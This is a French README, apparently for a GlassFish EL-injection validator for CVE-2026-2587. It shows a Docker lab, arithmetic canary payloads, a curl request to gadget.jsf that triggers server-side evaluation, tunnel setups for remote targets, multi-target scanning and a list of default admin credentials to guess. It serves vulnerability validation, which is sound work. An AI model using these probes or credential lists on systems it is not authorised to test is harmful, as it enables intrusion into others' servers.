Si le XML contient `#{7*7}` dans un attribut `<ModulePrefs title="">`, GlassFish l’évalue côté serveur et renvoie `49` — confirmant l’exécution EL. Une chaîne RCE complète s’ensuit via l’accès d’EL à l’environnement Java.

Les avis de sécurité publics actuels ne publient pas de périmètre de versions affectées ou corrigées.
Ce validateur est donc basé sur la preuve en premier lieu : il identifie GlassFish et
rapporte les métadonnées de version, mais il ne classe pas une cible comme vulnérable à partir de la seule chaîne de version.

---

## Comment ça fonctionne

![Flux de validation sécurisé pour CVE-2026-2587](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

Le chemin de validation sécurisé héberge une sonde XML bénigne, envoie une requête authentifiée à la console d’administration vers `gadget.jsf`, laisse GlassFish récupérer ce XML depuis l’URL de rappel, et vérifie si le canari `<ModulePrefs title="">` s’évalue de `#{7*7}` en `49`.

**Point d’injection confirmé vs. non :**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

**Contenu du dépôt :**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

Démarre GlassFish 7.0.15 avec les ports liés à `127.0.0.1` uniquement et `host.docker.internal` pré-câblé pour que le conteneur puisse atteindre votre serveur XML local.

### Option B — bare docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

Vérifier l'accessibilité depuis la perspective du conteneur :```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

| Sortie | Signification |
|---|---|
| `CVE2587_TITLE_49_END` | **Vulnérable** — EL évalué dans `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **Vulnérable** — EL évalué dans le corps CDATA |
| `CVE2587_TITLE_#{7*7}_END` | Non vulnérable / EL non évalué |
| *(no output)* | GlassFish n'a jamais récupéré le XML — vérifier l'accessibilité du callback |

> Le corps CDATA reste généralement brut même sur les versions vulnérables ; un résultat `TITLE` positif seul suffit pour confirmer la découverte.

### Validation automatisée sur le laboratoire local```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

Sortie après écriture dans un fichier :```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

> `host.docker.internal` correspond à la machine hôte depuis l'intérieur de Docker.
> Le conteneur GlassFish récupère votre XML de sonde via cette adresse.

---

### Identifiants```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

Si une paire valide est trouvée, elle est affichée dans la sortie et enregistrée dans la colonne
`brute_creds` du CSV. Si toutes les paires échouent, le scan se termine avec `AUTH_REQUIRED`.

Certaines versions de GlassFish renvoient `/login.jsf` après une soumission de formulaire valide. Le validateur
ne considère pas cette URL seule comme un échec ; il confirme la session en sondant le
point de terminaison du gadget admin et en vérifiant que la réponse n'est pas le formulaire de connexion.

Liste des identifiants essayés (dans l'ordre) :

| Nom d'utilisateur | Mot de passe |
|---|---|
| `admin` | `admin` |
| `admin` | *(vide)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### À distance via le tunnel Cloudflare

Aucun compte requis pour un tunnel rapide.

**Étape 1 — Installer cloudflared :**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

**Étape 3 — Exécuter le validateur :**

Utilisez le même nom d'hôte généré avec `http://` pour l'URL de rappel. Cela évite
les échecs de trust-store JVM dans les conteneurs de laboratoire GlassFish qui ne peuvent pas valider la
chaîne de certificats TLS de Cloudflare. Si vous collez l'URL `https://`
trycloudflare générée, le validateur réécrit ce rappel en `http://` et affiche
un avertissement. Une barre oblique finale est facultative ; le validateur ajoute automatiquement `/canary.xml` et
les chemins XML spécifiques à chaque test.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

> `--prefix`, `--left`, `--right` doivent correspondre aux valeurs présentes dans votre fichier XML hébergé, afin que le script sache quel jeton évalué rechercher dans la réponse.

---

### Accès distant via ngrok (dernier recours)

Utilisez ngrok uniquement en dernier recours pour les cibles distantes. Le niveau gratuit peut bloquer les récupérations côté serveur qui ne proviennent pas d'un navigateur en renvoyant une page d'avertissement HTML interstitielle. Dans ce cas, GlassFish récupère la page d'avertissement au lieu de votre `probe.xml`, et le validateur peut classer la réponse comme une page de connexion ou un résultat non concluant. Préférez Cloudflare Tunnel, un VPS, ou un hébergeur web statique que la JVM cible peut récupérer proprement, sauf si vous avez un compte ngrok payant qui contourne cette restriction.

**Étape 1 — Installer ngrok :**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

**Étape 3 — Exécutez le validateur :**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

---

## Utilisation — Cibles multiples

### Format du fichier de cibles

Le dépôt inclut `targets.txt.example` comme modèle. Copiez-le et modifiez-le:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

Exécuter sur toutes les cibles :```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

> Nombre de threads recommandés :
> - Lab local : jusqu'à `10`
> - Cibles distantes via internet : `3–5` (respecter les limites de débit)
> - Cible unique : `1` (par défaut)

---

## Formats de sortie

### Console

Sortie humaine lisible par défaut. Ajoutez `--verbose` pour voir les résultats par cas de test.```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

### JSON```bash
--json

Plusieurs cibles renvoient un tableau JSON.

---

### Combinaison des sorties

Tous les formats de sortie sont indépendants — combinez librement :```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

Il apprend également une racine de contexte GUI non par défaut à partir des en-têtes de redirection `Location` et ajoute cette racine avant les tests. Utilisez les valeurs répétables `--path` uniquement lorsque vous souhaitez remplacer cette liste de découverte.

La détection de version est tentée à partir des en-têtes de réponse, de l'API REST de gestion, de la page de connexion, et après une connexion réussie, de `/__asadmin/version.json` ou `/__asadmin/version`. Les données de version améliorent uniquement le routage et les rapports ; le scanner laisse `version_affected` comme `UNKNOWN` jusqu'à ce que des enregistrements d'avis publics publient une limite de version.

---

### Valeurs Canary Personnalisées

Faites correspondre le validateur à un XML fabriqué à la main en utilisant `--prefix`, `--left`, `--right`. Requis lors de l'utilisation de `--xml-url` avec votre propre fichier hébergé.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

## Cas de test

Le validateur exécute 10 sondes EL distinctes, chacune confirmant une capacité différente :

| # | Payload | Attendu | Ce qu'il prouve |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | Canari arithmétique de base |
| TC-02 | `#{1337+2587}` | `3924` | Opérateur d'addition |
| TC-03 | `#{31337*271}` | `8492327` | Multiplication de grands nombres résistante aux collisions |
| TC-04 | `#{9999-1337}` | `8662` | Opérateur de soustraction |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | Parenthèses imbriquées / précédence des opérateurs |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | Conditionnel / ternaire — exécution du flux de contrôle |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | Accès aux méthodes de chaîne |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | Appels de méthodes chaînés |
| TC-09 | `#{17 mod 5}` | `2` | Opérateur de mot‑clé EL |
| TC-10 | `#{100*100}` | `10000` | Confirmation arithmétique supplémentaire |

TC-06, TC-07 et TC-08 sont les plus significatifs — les réussir signifie que le moteur EL exécute **des méthodes d'API de chaînes et une logique conditionnelle**, le précurseur direct de la chaîne complète d'exécution de code (RCE).

---

## Interprétation des sorties

| Statut | Signification |
|---|---|
| `VULNERABLE` | Expression EL évaluée — instance confirmée affectée |
| `VULNERABLE_UNAUTH` | Point d'accès exposé sans authentification — pire que la CVE de base |
| `NOT_VULNERABLE` | Expression reflétée littéralement — EL non évaluée |
| `AUTH_REQUIRED` | Point d'accès a retourné une page de connexion — vérifier le cookie ou les identifiants |
| `INCONCLUSIVE` | Réponse reçue mais canari non trouvé — voir ci-dessous |
| `ERROR` | Requête échouée — problème réseau / TLS |

`detected_version` et `version_source` sont des informations contextuelles. Étant donné que les avis publics listent actuellement les versions affectées et corrigées comme inconnues, ne traitez pas `version_affected=UNKNOWN` comme un résultat négatif. La seule constatation positive est un jeton de preuve évalué.

**Dépannage INCONCLUSIVE :**

| Symptôme | Cause | Correctif |
|---|---|---|
| `XML hits: 0` | GlassFish n'a jamais récupéré votre XML | `--callback-url` inaccessible depuis la cible |
| `XML hits: 1+` mais pas de correspondance | EL évaluée mais mauvais champ | Attendu pour le contenu CDATA |
| Redirection d'authentification en cours d'exécution | Session expirée | Obtenez un nouveau `JSESSIONID` depuis le navigateur |
| Login POST redirige vers `j_security_check` | Mot de passe incorrect | Utilisez `--cookie` à la place |

---

## Vérification manuelle

Pas besoin de Python :```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>